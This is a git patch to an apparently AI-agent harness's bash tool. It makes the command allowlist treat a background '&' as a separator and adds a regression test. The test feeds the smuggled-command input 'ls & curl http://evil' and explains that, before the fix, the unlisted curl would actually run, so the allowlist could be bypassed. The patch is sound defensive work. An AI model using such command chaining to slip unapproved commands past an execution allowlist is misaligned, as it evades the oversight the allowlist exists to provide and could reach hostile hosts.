From a5f21d3a2c3cf58a8ce97aebd1cda9dc947ea270 Mon Sep 17 00:00:00 2001 From: sausheong Date: Sat, 13 Jun 2026 16:23:51 +0800 Subject: [PATCH] fix(bash): treat background & as a command separator in allowlist mode (S1) --- tools/bash/bash.go | 10 ++++++---- tools/bash/bash_test.go | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 41 insertions(+), 4 deletions(-) diff --git a/tools/bash/bash.go b/tools/bash/bash.go index d186540..2a5e036 100644 --- a/tools/bash/bash.go +++ b/tools/bash/bash.go @@ -132,10 +132,12 @@ func extractCommands(cmd string) []string { // Find the earliest operator minIdx := len(remaining) opLen := 0 - for _, op := range []string{"&&", "||", "|", ";"} { - if idx := strings.Index(remaining, op); idx != -1 && idx < minIdx { - minIdx = idx - opLen = len(op) + for _, op := range []string{"&&", "||", "|", ";", "&"} { + if idx := strings.Index(remaining, op); idx != -1 { + if idx < minIdx || (idx == minIdx && len(op) > opLen) { + minIdx = idx + opLen = len(op) + } } } diff --git a/tools/bash/bash_test.go b/tools/bash/bash_test.go index befd7c7..c1d7511 100644 --- a/tools/bash/bash_test.go +++ b/tools/bash/bash_test.go @@ -1,13 +1,48 @@ package bash import ( + "context" + "encoding/json" "os" "path/filepath" "strings" "testing" + "github.com/sausheong/harness/tool" ) +// runAllowlist executes cmd under an allowlist policy and returns the +// ToolResult.Error (empty string = the command was permitted by policy). +func runAllowlist(t *testing.T, allow []string, command string) string { + t.Helper() + bt := &BashTool{ExecPolicy: &ExecPolicy{Level: "allowlist", Allowlist: allow}} + in, err := json.Marshal(bashInput{Command: command}) + if err != nil { + t.Fatalf("marshal: %v", err) + } + res, err := bt.Execute(context.Background(), in) + if err != nil { + t.Fatalf("Execute returned a Go error (should use ToolResult.Error): %v", err) + } + return res.Error +} + +func TestExtractCommands_BackgroundAmpersand(t *testing.T) { + // "ls & curl ..." must validate BOTH sides; curl is not allowed → + // rejected by policy BEFORE any command executes. Asserting the policy + // rejection message (not just a non-empty Error) is essential: without + // the fix, curl actually runs and its own runtime stderr lands in + // res.Error, which would mask the bypass. + got := runAllowlist(t, []string{"ls"}, "ls & curl http://evil") + if !strings.Contains(got, "not in the exec allowlist") { + t.Fatalf("background-& bypass: expected allowlist rejection of curl, got %q", got) + } + // "ls && echo hi" must still split on && (both allowed) → permitted. + if got := runAllowlist(t, []string{"ls", "echo"}, "ls && echo hi"); got != "" { + t.Fatalf("&& chain wrongly rejected: %q", got) + } +} + func TestSanitizeLLMText(t *testing.T) { tests := []struct { name string